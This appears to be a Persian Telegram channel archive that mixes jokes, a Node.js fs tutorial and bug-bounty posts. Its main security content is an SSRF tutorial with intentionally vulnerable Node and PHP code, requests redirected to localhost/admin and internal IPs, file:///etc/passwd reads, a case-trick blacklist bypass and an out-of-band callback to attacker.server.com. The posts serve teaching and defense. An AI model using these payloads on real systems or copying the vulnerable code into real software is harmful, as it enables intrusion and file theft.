es
Feedback
/dev/null

/dev/null

Ir al canal en Telegram

| دستمو گذاشتم رو این کار ، قلبمو گذاشتم. | هر new ای را delete ای ست و پس از آن null کردنی (:

Mostrar más
323
Suscriptores
Sin datos24 horas
+37 días
+230 días
Archivo de publicaciones
+1
🔖Extract Endpoints for quickly locating bugs there via massive recon ⬇️Using Google Dorks You can use this Google dork to find tons of exposed links, Endpoints and etc:
"site:example.com"
⬇️Using Providers You can extract all internet endpoints using these 3 providers or you can use automated tools like 📱 Waymore: 🔴 alienvault 🔴 virustotal 🔴 webarchive 🖥 Related Write-Up: 🔗 Link #InfoSec #CyberSecurity #Hacking #BugBounty #bugbountyTools #bugbountytips #Pentest 🔹 Share & Support Us 🔹 📱 Channel : @Hide_Club

چرا صب شد حاجی 😂
چرا صب شد حاجی 😂

امشب خیلی رندوم یاد یکی از بچه های دبستان افتادم . صب قبل مدرسه رفته بود دستشویی از بس زور زده بود چند تا مویرگ های چشمش پاره شده بود😔🤣

اینم واسه تستش اگه هر کدوم رو تست کنین تویه همزمان اون it is interesting آخر همه ی لاگ ها چاپ میشه ولی اگه تویه ناهمزمان تست کنین اول از همه لاگ ها چاپ میشه

Synchronous :
const path = require('path') 
const fs = require('fs');
const projec = path.join(__dirname, 'projects');

if (!fs.existsSync(projec)) {
   
    try {
        fs.mkdirSync(projec);
        console.log('Directory created successfully.');
    } catch (err) {
        console.log('Error creating directory:', err);
    }
} else {
    console.log('Directory already exists.');
}

console.log('It is interesting');
Asynchronous :
const path = require('path') 
const fs = require('fs'); 

const projects = path.join(__dirname , 'projects')

if (!fs.existsSync(projects)){
    fs.mkdir(projects , (err)=>{
        if (err){
            console.log('Error creating directory:', err);
            
        }
        console.log(`add new directory be name projects`);
        
    })
}

console.log('It is interesting');

آقا داشتم درباره fs (file system) تویه node js میخوندم دیدم این بحث جالبیه 🦦❤️ کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست . میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ... حالا تویه node js دو نوع عملکرد واسه ماژول fs میتونه رخ بده : عملکرد همزمان (Synchronous):
در این حالت، برنامه تا زمانی که عملیات I/O (مانند خواندن فایل) کامل نشود، متوقف می‌شود. به عنوان مثال، fs.readFileSync باعث می‌شود که برنامه منتظر بماند تا فایل خوانده شود و سپس به خط بعدی کد برود. این روش می‌تواند در اسکریپت‌های ساده یا در مواقعی که نیاز به عملکرد سریع و بدون پیچیدگی دارید، مفید باشد.
عملکرد ناهمزمان (Asynchronous):
در این حالت، برنامه می‌تواند به کار خود ادامه دهد در حالی که عملیات I/O در پس‌زمینه در حال انجام است. به عنوان مثال، fs.readFile به شما این امکان را می‌دهد که با استفاده از callback functions ، نتیجه را پس از اتمام عملیات دریافت کنید. این روش برای برنامه‌های سرور که نیاز به پردازش همزمان چندین درخواست دارند، بسیار مناسب است. ینی در این روش باعث میشه event loop مسدود نشه.
حالا فرقشون چیه تویه پردازش و مدیریت خطا:
در متدهای همزمان، می‌توانیم try-catch برای مدیریت خطاها استفاده کنیم. در متدهای ناهمزمان، خطاها معمولاً از طریق callback‌ها، Promise‌ها یا syntax async/await مدیریت می‌شوند

مرحله گفتنش برا من قفله چطوری شما ها ول نمیکنین طرفو 🦦

Repost from < CyberCesar />
اگه کسی از جنس مخالف ازت خوشش نیومد و بهت نه گفت و ردت کرد؛ درجا به خواسته‌اش و نظرش احترام بذار و محترمانه برو و دیگه پیدات نشه. حداقل احترامش رو داری و با خودش میگه انسان بافهمی بود. به این فکر کن که اگه کسی پیگیر و مزاحم خواهر خودت میشد و ول‌کن نبود چقدر بد بود‌. اینطوری میشه هنر "نه شنیدن" رو تمرین کرد و دید که اصلا چیز بدی نیست و طبیعیه.

آمار اذیتم میکنه

میتونین تویه این کد یه سری regex ها مختلف بزنین حالا whitelist یا blacklist و ازش تست بگیرین🦦

const express = require('express');
const fs = require('fs');

const app = express();
const port = 8000;

const blacklistRegex = /^(file|gopher|dict|ftp|ssh|telnet):\/\//;

app.get('/readfile', (req, res) => {
    const filePath = req.query.path;

    if (!filePath) {
        return res.status(400).send('no params');
    }

    if (blacklistRegex.test(filePath)) {
        return res.status(403).send('Access forbidden');
    }

    fs.readFile(filePath, 'utf8', (error, data) => {
        if (error) {
            return res.status(404).send('File not found');
        }

        res.send(data);
    });
});

app.listen(port, () => {
    console.log(`http://localhost:${port}`);
});

خب تویه بحث checker function ها اول اصن واسه چی فیلتر میزارن ؟ فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی می‌شوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست می‌زند ( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب ) حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری می‌کند که ما به هر جایی نتوانیم درخواست بزنیم. حالا فیلتر ها رو دو جا استفاده میکنن : 1_ تویه Domain name 2_تویه protocol که درخواست رو باهاش ارسال میکنیم تویه protocol ها : ( میتونن یه whitelist درست کنن) ^(http|https):\/\/[^\s\/$.?#].[^\s]*$ مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
localhost/admin
file:///etc/passwd 
https://  site.com 
با regexpal برید خودتون چک کنین چرا کار نمیدن یا blacklist میتونه اینطوری باشه : ^(file|gopher|dict|ftp|ssh|telnet)://
file://     ---> block
gopher://    --> block 
...
یا میتونه درخواست به یه سری ip ها رو بلاک کنه : ^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.) خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
FiLe:///etc/passwd
چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه
let url = "FiLe:///etc/passwd";
url = url.toLowerCase();  
console.log(url);

خب تویه بحث checker function ها اول اصن واسه چی فیلتر میزارن ؟ فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی می‌شوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست می‌زند ( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب ) حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری می‌کند که ما به هر جایی نتوانیم درخواست بزنیم. حالا فیلتر ها رو دو جا استفاده میکنن : 1_ تویه Domain name 2_تویه protocol که درخواست رو باهاش ارسال میکنیم تویه protocol ها : ( میتونن یه whitelist درست کنن) ^(http|https):\/\/[^\s\/$.?#].[^\s]*$ مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
localhost/admin
file:///etc/passwd 
https://  site.com 
با regexpal برید خودتون چک کنین چرا کار نمیدن یا blacklist میتونه اینطوری باشه : ^(file|gopher|dict|ftp|ssh|telnet)://
file://     ---> block
gopher://    --> block 
...
یا میتونه درخواست به یه سری ip ها رو بلاک کنه : ^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.) خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
FiLe:///etc/passwd
چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه
let url = "FiLe:///etc/passwd";
url = url.toLowerCase();  
console.log(url);

یه ابزار واسه دیدن جديدترين writeup ها از سایت های مثل Medium @Daily_Writeups GitHub

176 🖤
176 🖤

Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS Day 28 of 30 Day — 30 Vulnerabilities | DOM-based XSS https://it4chis3c.medium.com/day-28-of-30-day-30-vulnerabilities-dom-based-xss-2527a06f3dbc

اوضاع خیطه
اوضاع خیطه

آقا بعضی جاها یا بعضی از scheme ها رو نمیشه استفاده کرد یا نمیشه از localhost استفاده کرد و یا اصطلاحا url رو میندازه ( همون url که میخوایم درخواست بهش زده بشه ) یه سری payload داره که بعدا میزارم 🦦❤️

Server Side Forgery : (SSRF) آسیب‌پذیری امنیتی وب است که به کاربر اجازه می‌ده تا برنامه سمت سرور را وادار کند تا درخواست‌هایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی public ندارند . حالا چه زمانی رخ میده ؟ وقتی که سایت به کاربر اجازه می‌ده ورودی های ssrf رو تبدیل به درخواست های HTTP بکنن و در سمت سرور به عنوان به request پردازش میشه با ssrf هم میشه یه سری data خواند و هم بعضی مواقع دستور اجرا کرد . ( پس کلا تویه ssrf میخوایم به منابعی که از بیرون دسترسی public ندارند دسترسی پیدا کنیم که میتونه localhost باشه یا ip خصوصی) مثلا اگه یه سایت داشته باشیم و جایی برای نشان دادن باقی مانده یه محصول باشه: ( چون داره برای نشون دادن باقی مانده از اطلاعات و database سرور کمک میگیره ) اولش یه چنین request میره :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
که میتونیم به این request ها تغییرش بدیم :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin
یا
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin
یه مثال از کد آسیب پذیر ( node js ) :
const express = require('express');
const axios = require('axios');
const app = express();


app.get('/fetch', async (req, res) => {
    const url = req.query.url;

    try {
        
        const response = await axios.get(url);
        res.send(response.data);
    } catch (error) {
        res.status(500).send('Error in fetch');
    }
});

app.listen(3000, () => {
    console.log('Server running on http://localhost:3000');
});
Send HTTP req to Servers:
http://localhost:3000/fetch?url=http://localhost:8000
یا برای php :
<?php

if (isset($_GET['img'])){ 
    $img = $_GET['img'] ; 
    $image = fopen($img , 'rb') ; 
    fpassthru($image) ; 
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SSRF TEST</title>
</head>
<body>
    <img src='/?img=/your_directory_file'> </img>
</body>
</html>
http://localhost:8001/ssrf.php/?img=https://google.com یا حتی میشه فایل خوند با scheme file :
http://localhost:8001/ssrf.php/?img=file:///etc/passwd
بعضی وقتا هم هیچ response نداریم از طرف Server که میشه همون blind که تقریبا همه جا داشتیمش که یه روشش out-of-band هس ( یا با time هم میشه ):
http://localhost:8001/ssrf.php/?img=https://attacker.server.com:port 
که از لاگ های سرور خودمون میشه فهمید ssrf داریم یا نه . #ssrf